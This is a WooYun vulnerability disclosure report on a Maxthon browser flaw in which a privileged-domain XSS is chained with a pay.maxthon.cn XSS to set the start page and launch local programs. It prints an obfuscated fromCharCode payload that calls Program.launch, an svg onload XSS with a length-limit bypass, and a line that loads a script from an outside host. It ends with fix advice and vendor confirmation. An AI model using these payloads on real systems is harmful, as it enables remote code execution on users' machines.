当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0140915

漏洞标题：傲游浏览器命令执行漏洞（特权域xss）

相关厂商：傲游

漏洞作者： 隐形人真忙

提交时间：2015-09-13 17:22

修复时间：2015-12-15 13:26

公开时间：2015-12-15 13:26

漏洞类型：远程代码执行

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-13： 细节已通知厂商并且等待厂商处理中
2015-09-16： 厂商已经确认，细节仅向厂商公开
2015-09-19： 细节向第三方安全合作伙伴开放
2015-11-10： 细节向核心白帽子及相关领域专家公开
2015-11-20： 细节向普通白帽子公开
2015-11-30： 细节向实习白帽子公开
2015-12-15： 细节向公众公开

简要描述：

傲游浏览器设计存在缺陷，存在特权域XSS，结合API可进行命令执行。

详细说明：

紧跟大牛的步伐挖洞！
-------------------------------
0x00 特权域XSS
-------------------------------
从MxWebkit.dll中发现了一些特权域：

1.png


在查看mx://res/error/danger_site.htm特权域时发现有对URL的处理：

2.png


访问mx://res/error/danger_site.htm?javascript:alert(document.domain)，发现支持javascript协议：

3.png


-------------------------------
0x01 漏洞利用
-------------------------------
在特权域中，用户要进行点击触发漏洞，由于新版本的浏览器限制了external中的mxCall函数的调用，所以利用本地域加载特权域，并使用点击劫持的方法进行利用受到了限制。
为了增大用户中招的概率，可以利用maxthon.cn域下的XSS设置含有XSS的特权域为主页。
在maxthon.cn下，都可以对maxthon对象进行调用，从而修改浏览器的一些配置，比如代理、主页、快捷键等等。
设置主页的代码如下：
test.js:

url = "mx://res/error/danger_site.htm?javascript:eval(String.fromCharCode(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,105,102,114,97,109,101,34,41,59,115,46,115,114,99,61,34,109,120,58,47,47,114,101,115,47,110,111,116,105,102,105,99,97,116,105,111,110,47,34,59,115,46,111,110,108,111,97,100,61,102,117,110,99,116,105,111,110,40,41,123,115,46,99,111,110,116,101,110,116,87,105,110,100,111,119,46,109,97,120,116,104,111,110,46,112,114,111,103,114,97,109,46,80,114,111,103,114,97,109,46,108,97,117,110,99,104,40,34,67,58,47,119,105,110,100,111,119,115,47,115,121,115,116,101,109,51,50,47,99,97,108,99,46,101,120,101,34,44,34,34,41,125,59,100,111,99,117,109,101,110,116,46,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59))";
maxthon.browser.config.ConfigManager.set("maxthon.config","browser.general.startpage",url);


下面缺一个XSS，神器扫：

http://pay.maxthon.cn/bill99.php?gname=maxthon/"><svg/onload=alert(1)>&g_server=maxthon


利用XSS加载外部JS执行主页设置代码，这里的XSS比较坑爹，设置了长度限制，但是可以使用匿名函数的方法执行我们的代码，使用Function(URL)()和\u2028执行超长JS代码：

http://pay.maxthon.cn/bill99.php?gname=maxthon%22/%3E%3Csvg/onload=Function(document.URL)()%3E#【\u2028】var s=document.createElement("script");s.src="http://1.exploitcat.sinaapp.com/test.js";document.body.appendChild(s);


-------------------------------
0x02 效果
-------------------------------
再次打开浏览器，看到带有XSS的特权域页面被设置成为主页，执行命令效果如下：

4.png

漏洞证明：

4.png

修复方案：

1.修复maxthon.cn和特权域的XSS
2.对maxthon对象的访问控制更加细粒度

版权声明：转载请注明来源 隐形人真忙@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-09-16 13:25

厂商回复：

多谢反馈.

最新状态：

暂无